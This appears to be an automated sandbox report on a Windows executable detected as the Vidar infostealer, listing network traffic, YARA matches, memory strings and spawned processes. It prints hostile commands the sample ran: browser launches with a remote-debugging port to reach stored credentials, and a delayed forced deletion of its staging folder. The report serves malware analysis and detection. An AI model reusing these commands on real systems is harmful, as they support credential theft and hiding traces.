Source: unknown	Network traffic detected: HTTP traffic on port 61246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61281
Source: unknown	Network traffic detected: HTTP traffic on port 52411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52445
Source: unknown	Network traffic detected: HTTP traffic on port 61260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61274
Source: unknown	Network traffic detected: HTTP traffic on port 61257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61279
Source: unknown	Network traffic detected: HTTP traffic on port 61295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61173
Source: unknown	Network traffic detected: HTTP traffic on port 61268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61284
Source: unknown	Network traffic detected: HTTP traffic on port 61290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61201
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61217
Source: unknown	Network traffic detected: HTTP traffic on port 52403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61295
Source: unknown	Network traffic detected: HTTP traffic on port 61217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61297
Source: unknown	Network traffic detected: HTTP traffic on port 61121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61213

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:61084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.99.124.230:443 -> 192.168.2.7:61094 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_0040EAB5 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

9_2_0040EAB5

Source: CYA75gigem.exe, 00000001.00000002.1588430101.000000000092B000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.00601021504Z07001st_place_medal26_alphanumeric2nd_place_medal3rd_place_medal40_alphanumeric476837158203125: cannot parse : no frame (sp=<invalid Value>ASCII_Hex_DigitAddDllDirectoryAddThreadMemberAlign 128-BytesAlign 265-BytesAlign 512-BytesBeginGuildPruneCLSIDFromStringCallWindowProcWCreateErrorInfoCreateGuildRoleCreateHardLinkWCreatePopupMenuCreateWindowExWCustomAttributeDeleteGuildRoleDeviceIoControlDialogBoxParamWDllCanUnloadNowDragAcceptFilesDrawThemeTextExDuplicateHandleEFI ApplicationExcludeClipRectFailed to find Failed to load FindNextVolumeWFindVolumeCloseFlushViewOfFileGdiplusShutdownGetActiveObjectGetActiveWindowGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetDpiForWindowGetEnhMetaFileWGetGuildInvitesGetGuildPreviewGetGuildStickerGetModuleHandleGetMonitorInfoWGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTextMetricsWGetThreadLocaleGetThreadMemberGot version 2 !Hanifi_RohingyaHitachi SH3 DSPImpersonateSelfImportEntrySizeInsertMenuItemWIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2ListGuildEmojisLoadLibraryExA

memstr_cbe38326-3

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_00405AD3 memcpy,OpenDesktopA,CreateDesktopA,lstrcpyA,CreateProcessA,Sleep,CloseDesktop,

9_2_00405AD3

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.CYA75gigem.exe.a320000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a2e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 9.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a300000.5.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 9.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a300000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a340000.1.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a2e0000.3.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a320000.6.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a340000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a2c0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 1.2.CYA75gigem.exe.a2c0000.4.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000001.00000002.1592577669.000000000A2E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000001.00000002.1592577669.000000000A416000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000001.00000002.1592577669.000000000A2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000001.00000002.1592577669.000000000A300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000001.00000002.1592577669.000000000A320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00404B3F	9_2_00404B3F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00415147	9_2_00415147
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00417D56	9_2_00417D56
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040AF7E	9_2_0040AF7E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_004171E1	9_2_004171E1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_004153AF	9_2_004153AF

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: String function: 0040D84A appears 136 times

Source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A3DC000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs CYA75gigem.exe

Source: CYA75gigem.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 1.2.CYA75gigem.exe.a320000.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a2e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 9.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a300000.5.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 9.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a300000.5.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a340000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a2e0000.3.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a320000.6.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a340000.1.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a2c0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 1.2.CYA75gigem.exe.a2c0000.4.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000001.00000002.1592577669.000000000A2E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000001.00000002.1592577669.000000000A416000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000001.00000002.1592577669.000000000A2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000001.00000002.1592577669.000000000A300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 00000001.00000002.1592577669.000000000A320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@70/270@16/16

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_0040F029 CreateToolhelp32Snapshot,Process32First,StrCmpCA,Process32Next,StrCmpCA,CloseHandle,

9_2_0040F029

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\E5VN07JX.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4888:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\74738843-7e91-49fa-8e28-86e679d53f4c.tmp

Jump to behavior

Source: CYA75gigem.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\CYA75gigem.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000009.00000003.1804037779.0000000004FCA000.00000004.00000020.00020000.00000000.sdmp, ymymyuai5.9.dr, jwb1nycjm.9.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: CYA75gigem.exe	ReversingLabs: Detection: 40%
Source: CYA75gigem.exe	Virustotal: Detection: 48%

Source: CYA75gigem.exe	String found in binary or memory: net/addrselect.go
Source: CYA75gigem.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.6/loadconfig.go
Source: CYA75gigem.exe	String found in binary or memory: github.com/lxn/walk@v0.0.0-20210112085537-c389da54e794/stopwatch.go
Source: CYA75gigem.exe	String found in binary or memory: github.com/lxn/walk@v0.0.0-20210112085537-c389da54e794/stopwatch.go
Source: CYA75gigem.exe	String found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>

Source: unknown	Process created: C:\Users\user\Desktop\CYA75gigem.exe "C:\Users\user\Desktop\CYA75gigem.exe"
Source: C:\Users\user\Desktop\CYA75gigem.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2204,i,1790315144490273545,12717934201771538317,262144 /prefetch:8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2424,i,4433328751228120541,16908853615490472188,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jmo89" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6516 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Users\user\Desktop\CYA75gigem.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\jmo89" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2204,i,1790315144490273545,12717934201771538317,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2424,i,4433328751228120541,16908853615490472188,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
